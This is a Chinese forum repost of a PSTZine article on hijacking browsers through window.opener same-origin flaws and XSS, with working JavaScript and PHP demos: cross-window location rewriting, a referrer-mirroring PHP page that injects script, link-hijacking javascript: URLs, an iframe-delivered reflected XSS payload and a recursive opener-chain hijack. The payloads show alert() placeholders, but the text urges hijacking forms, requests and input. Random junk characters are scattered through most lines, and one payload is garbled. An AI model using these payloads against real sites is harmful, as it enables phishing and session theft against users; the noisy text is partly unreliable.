中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

---

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
, z' C& v4 R3 T7 d9 @1 p6 P- }
0 e; }2 g$ M. t, {  e                       Issue 0x03, Phile #0x05 of 0x07
! W) ?& ]" c8 R. [
0 a6 D0 u4 i1 U  C& g8 y6 z
|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
7 M' O$ f; ?3 @% m0 P9 X|=---------------------------------------------------------------------------=|
! k, m8 _8 S, |/ Q|=------------------------=[      By rayh4c     ]=---------------------------=|
* t9 [8 E* {- w4 S/ X6 k# V|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|


# ]  S% Y* \, ?9 V; h' U[目录]
3 v. Z( ?, H4 M! u/ y
, `9 O! ]/ Q2 W& a5 G& _1. 前言
2. 同源策略简叙
: n" ~* {7 q8 ?, r# t  ~9 @3. 理解window对象的同源策略
6 c- M9 W, e; n  ^7 u! R4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
7 h  O) y  J) Q  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
2 t( @4 N  |  J- }1 b  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
4 L5 j& ?3 Q( H/ O. b' |  6.5 完全控制浏览器
7. 后记
7 Y. q: M; S4 R, z0 M7 s8. 参考
" v& |7 w$ f2 d! u9 l

2 H. \- [1 k3 x; {' t/ x  F一、前言

    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
8 [2 Y; v- ]% }/ @3 Z+ I条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。


7 G2 s* @2 N7 z二、同源策略简叙

' g2 V5 D- e8 M    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
/ q/ c1 \% o3 k$ O: c) y+ S6 y从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
# n& R& S4 {* e+ I8 E/ t2 S曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
: H9 J' H* K: Y+ a; U漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
' L3 _9 @4 p! ~; j7 l/ N, u
# n5 K1 s: H7 p! D
  r+ \4 d4 `7 v2 \- I& Q三、理解window对象的同源策略
& ]! }) A/ u2 p- n  o: [4 k1 k
  h7 t7 }0 X' t9 q/ b    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
" g: T7 w/ q* w( T+ D3 I
--code-------------------------------------------------------------------------
0 N% r' ?( B2 _9 y" x! E<script language="javascript">
  b- S! V! g, I/ Qfor(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------
( F% ^+ F% s, u! S! g0 `$ E+ ]2 E
2 m$ }2 \9 n( G* E8 @    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

& @+ L: j- F5 l6 ?$ B    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
! o7 k, y6 l4 ?6 R0 x$ S! ~  F' w的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
9 ^2 Q0 |# |& ?7 q% v值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

+ Y! Z% c/ @9 b! M. b* N--demo.html--------------------------------------------------------------------
# `1 y! N0 G; {$ o  ~# ]<script language="javascript">   
function allPrpos(obj) {      
$ r- y5 p+ b7 H6 o6 y. \      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
                   obj[p]();   
             }else{                     
                  try   
                   {   
7 Q  S- G& c5 u! c! |8 _# N                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
                  catch (ex)   
) ^8 ^5 r: P4 |2 {6 ]1 m                   {   
                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
2 R: K( z- X4 ^* S  w                   }   
& u( a/ F' z" W2 O3 A$ X                       
) C- v8 u, ~) y, U" T- o3 \) c             }   
       }   
   
: k7 A0 N# \; U9 a# Q       document.write(props+"</table>");   
}   
   
6 }/ I  K& e5 a0 |* i7 O  }# v! vfunction createWin() {
        newWin = window.open ("http://www.google.com");  
: W* \& F( ], t) S        setTimeout(function(){allPrpos(newWin)},2000);
% \8 C! i( L9 p/ E}
! ?- I9 J8 T7 o2 A, x
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

" h* Y. G; p; T3 g
四、窗口引用功能中的同源策略漏洞
+ G6 f, E* U% U+ B2 V6 {
4.1 父窗口引用子窗口的同源策略问题
9 d( v9 s/ q& F% Q
# w- @9 Q& Y2 @4 ~  J4 `& [    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。
  f. c! G$ X  f2 v3 R+ M( B0 I
--vul1.html--------------------------------------------------------------------
<script language="javascript">
) k) P( N. u. ~- M. w7 [1 B9 |function createWin() {  
        newWin = window.open ("http://www.google.com");  
" b4 ^% ?, J, w  P) U& x        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 C+ D6 U/ f1 `7 }9 S}
</script>
9 x% x; A- @0 i+ r# _: X5 L
5 k3 `% O! I) B' Z0 q; N<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ s( m  u0 @1 [4 z7 u-------------------------------------------------------------------------------
5 v, c$ Q+ Q2 h  v
' s: u" m% w& ?* S4 M
& p; Q, }, [/ U4.2 子窗口引用父窗口的同源策略问题
8 q# @; P' c" ^  C4 X. p% q8 M
- K7 Z2 v+ t5 b! A( V& t    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
/ B* B6 S8 G5 r; Z. \" {6 U可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
4 t4 h: v& R) q* u1 X7 z9 D
: T2 b& r/ f9 p  Q9 Y0 a7 E--code-------------------------------------------------------------------------

# M- u9 b; q2 M* m8 [javascript:window.opener.location = "http://www.80sec.com";void(0);

-------------------------------------------------------------------------------


1 n2 m+ K- M+ r" j3 p, f五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
4 C8 U4 ]* M  C5 v7 d窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
" r* [( g" e& x. I么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
1 r2 e5 I; R+ H7 T9 g8 a  g5 W. \
( b, o7 b/ @9 d$ H: v    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
5 K6 _; X! b. }0 r# _" ^" B: S& [者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。
/ y( r3 X+ H! {
1 [0 e/ @. l0 n+ l    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
$ {: `+ A2 n, k  C, @2 y, t候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
6 a$ }7 M* y9 l4 R- y8 }以做更多的事情，所有的一切仅仅是因为点击了一个链接。
$ I) j5 q, ]/ R$ Z
0 H6 P/ E2 z( m& J1 t6 q) Q1 v--hjk_ref.php------------------------------------------------------------------
, d7 z% V, g, U<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
  D" T; @  Y' t' J$Url_Mirror = $_SERVER["HTTP_REFERER"];
4 x( V2 ?' a, F}
7 p- y! C; `' u5 O4 P2 Rif(isset ($_GET['ref'])) {
- [. Z: D. u8 }3 C; O5 |6 A! vecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>
& [3 f4 ?' [( X& j. g; C! w' w
5 |3 ^) C$ ^4 e, C$ U<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
</script>
-------------------------------------------------------------------------------
. x+ W: O: _8 S' U* F4 e7 u! a
. C$ U& _) Z& f    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
4 h/ `, a- `1 G8 A( B% d$ M

六、利用XSS漏洞劫持浏览器

    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
( \7 ^9 K. }9 xXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
7 G1 u8 c, [! s讨论跨站师的终极技巧：


6.1 正向跨窗口劫持
* [+ a1 i, S+ a- y+ D% d* \# O
9 q8 w! m7 B" @/ V6 _8 y5 J    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
( ~( `, {* R/ X) `0 i接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
5 v8 B/ b0 [+ S' ~  g2 y框脚本。
; I! W9 q* H; }3 r! k, G
--hijack_open.js---------------------------------------------------------------

& a, U* s! c: xjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6 L6 _% D% v+ l$ ]. r/ y- ^& Z
4 _4 ?/ \" D8 @/ f. F) P5 [$ @; x-------------------------------------------------------------------------------

4 Z5 `+ ~8 i: n. g
6.2 反向跨窗口劫持
3 R9 o+ i  ]1 {. B7 A
    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
, G: H" |4 K' d) t8 m码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
9 Q! o! p7 o: w) Y+ b2 }框脚本。

  u" Z9 m  p! m) d2 |$ \--hijack_opener.js-------------------------------------------------------------
$ f9 D1 j. L# I; _8 d, p6 p5 ?3 ~
* O8 W7 l* j: d6 Ljavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

. V5 C2 g2 W0 S0 ~2 \-------------------------------------------------------------------------------


) _8 {% C! j9 V. F+ z' i6.3 极度危险的跨框架窗口引用劫持
0 e. H4 M# E) n8 b- ~, t
0 ^* d1 k, n6 P& D" W  u  C" a    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
4 H1 L7 n3 F% c- V& Z2 h
    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
; j2 V; M: q% u) r5 |' B& W注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
5 l# ?/ u/ T2 y* Z# A<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
3 C& t; L$ S2 Y/ @' ^% p</script>
-------------------------------------------------------------------------------
4 U" f! L0 k& g; S0 {; m0 W! d" n
  t; r7 y9 q! i+ u
6 N6 @2 T: V6 ]/ |: W, P6.4 极度危险的正反向跨窗口递归劫持

+ |8 J7 O: L* x6 T" u    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
9 I# C% O' I- i2 G7 K+ A9 p的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

0 M0 V* J7 d  ]: ]7 {' K--code-------------------------------------------------------------------------

javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
; E$ G% }- w# N; O! _1 i  [: g* R/ A
3 k9 u1 b) q; g7 s- c" _, w2 Z-------------------------------------------------------------------------------

/ l! @' N3 \' A8 D$ {% n    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
+ b: U8 E  ~8 L& l3 w* {$ |, c以劫持B域之前的A域页面，从而实现“隔空打击”。

    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。


/ {! G( [0 v/ y8 W# E6.5 完全控制浏览器
3 N5 m' ~% C  }$ g' |
/ z# _& v, h' s* G" ^2 Y: a  B  O  P1 e* V    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
4 Z1 M* _1 O/ i5 M  y' A是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
  E2 @1 \) B- w+ ]" t% E' X' d2 r漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
8 \9 h/ p) D! ^列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
' a1 k, Z  Z& ^/ `师的终极目标 - 完全控制浏览器。
* a% g& |# G$ i( J
9 {# G+ i, V9 ~$ U6 b3 l% g! c
七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
$ \% g7 R+ H; w与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考
' {. S" [2 d. V0 v, K- N; i" [
1. http://en.wikipedia.org/wiki/Same_origin_policy
7 s! @, Q6 w6 r: j2. http://code.google.com/p/browser ... licy_for_DOM_access
- f; ?) p1 j2 i8 c/ ^/ I% e3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
4 R' {6 A- j- X! j5. http://www.80sec.com/all-browser-security-alert.html
" M4 i) \( Q) b" K6 d$ b; N6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2